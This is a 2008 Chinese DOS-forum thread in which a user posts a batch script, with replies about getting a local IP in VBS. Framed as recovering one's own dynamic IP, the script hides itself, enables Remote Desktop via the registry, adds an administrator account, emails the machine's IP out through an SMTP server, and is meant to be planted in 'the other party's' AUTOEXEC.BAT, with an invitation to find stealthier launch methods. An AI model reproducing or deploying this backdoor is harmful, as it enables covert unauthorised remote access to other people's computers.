中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-08 11:20
47,811 主题排行 / 349,895 发帖 / 今日 0 篇 / 48,253 会员排行
DOS批处理 & 脚本技术(批处理室) » 关于邮件发送ip 开3389
可打印版本  1,286 / 5
第1楼 juventus 发表于 2008-05-03 06:38
初级用户 发帖 19 积分 48
关于邮件发送ip 开3389
来了些日子
前些天看了一些关于批处理自动发送ip至自己邮箱的帖子
参考一些前辈的贴子
我只是总结一些 主要谢谢nblue 的帖子


这段p主要是为了找回因为动态ip导致自己的3389丢失
其实这个东西木马完全能够做到 本身就是为了学习p




这段是延迟 等待开机以后用户联网 时间可以自己时间
------------------------------------------
@echo off
attrie +s + r 这段p处理的名字
ping 127.0.0.1 -n 60 >nul
ping 127.0.0.1 -n 60 >nul
ping 127.0.0.1 -n 60 >nul
-------------------------------------------
每次开机都检查是否开3389 没开帮他开,
咋们做好事从不留名哦,呵呵
------------------------------------------
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
-----------------------------------------------------------------------------------
下面建立用户 这里 我对if命令还不太熟悉 所以每次都要建立用户
希望有人能补充 这几天我也看看if命令
-----------------------------------------------------------------------------
net user 你的用户名 密码 /add
net localgroup Administrators 你的用户名 /add
-----------------------------------------------------------------------

下面就是nblue贴中的 ipsc config Schedule start= DEMAND发送核心
用之前 你必须要有2个邮箱 其中一个支持smtp的邮箱 我用的是qq的
这个我在xp和vista测试过 vista不能找到ip 但能收到邮件 内容为空
-------------------------------------------------------------

for /f "tokens=2 delims=:" %%i in ('"ipconfig|findstr /I /c:"ip address""') do set a=%%i

echo NameSpace="http://schemas.microsoft.com/cdo/configuration/" >1.vbs
echo Set Email=CreateObject("CDO.Message") >>1.vbs
echo Email.From="你发送的邮箱地址" >>1.vbs
echo Email.To="你接收的邮箱地址" >>1.vbs
echo Email.Subject="TEST" >>1.vbs
echo Email.Textbody="%a%" >>1.vbs
echo With Email.Configuration.Fields >>1.vbs
echo ^.Item(NameSpace^&"sendusing")=2 >>1.vbs
echo ^.Item(NameSpace^&"smtpserver")="SMTP地址" >>1.vbs
echo ^.Item(NameSpace^&"smtpserverport")=25 >>1.vbs
echo ^.Item(NameSpace^&"smtpauthenticate")=1 >>1.vbs
echo ^.Item(NameSpace^&"sendusername")="用户名" >>1.vbs
echo ^.Item(NameSpace^&"sendpassword")="密码" >>1.vbs
echo ^.Update >>1.vbs
echo End With >>1.vbs
echo Email.Send >>1.vbs

cscript c:\1.vbs
del c:\1.vbs
--------------------------------------------------------

把这些东西 弄到对方的AUTOEXEC.BAT 就好了


其实这个我最开始是想用注册表来启动 这个批处理 后面觉的麻烦
大家有兴趣 可是 想想更隐秘的方法

还有我也想过 用at命令 来启动 上面那个p处理
但是at命令又需要一个批处理来完成启动 这个批处理又需要注册表启动菜单中启动项启动
还要对方电脑上开启了 at命令 这个没什么 用
(sc config Schedule start= DEMAND
net start schedule )启动
比上面的注册表还麻烦
还是直接命名为AUTOEXEC.BAT比较简单

但是简单的就比较容易发现
小弟第一次发贴 词文比较粗糙 妄大家见量
此贴技术含量不高 比较适合菜鸟
小菜抛转 期待老鸟牛X之举 引来大量金快
第2楼 XZ 发表于 2008-05-05 13:30
初级用户 发帖 65 积分 144 来自 Taiwan
可以考慮全部使用VBS完成喔
因為既然動用到VBS了
為何不全部使用 ^^"
我在努力領悟 VBS怎麼抓取本機電腦名稱和IP
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress
我查到這樣 不過好像不會動 = ="
第3楼 slore 发表于 2008-05-05 13:40
铂金会员 发帖 2,478 积分 5,212
这个对象……很麻烦……不能直接用……因为他很危险嗬。

那个控件自己注册……什么的

以前发过一个查IP的对象……自己不留搜索下。

Set objrcl = CreateObject("rcbdyctl.Setting")
MsgBox objrcl.GetIPAddress
Set objrcl = Nothing
第4楼 slore 发表于 2008-05-05 13:41
铂金会员 发帖 2,478 积分 5,212
AUTOEXEC.BAT
XP貌似不运行好像?
第5楼 BWSkyer 发表于 2008-05-05 14:36
中级用户 发帖 180 积分 367 来自 重庆
恩,XP不运行Autoexec.bat的哦~~~
第6楼 juventus 发表于 2008-05-08 18:31
初级用户 发帖 19 积分 48
谢谢 大家
知道和学习了很多
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023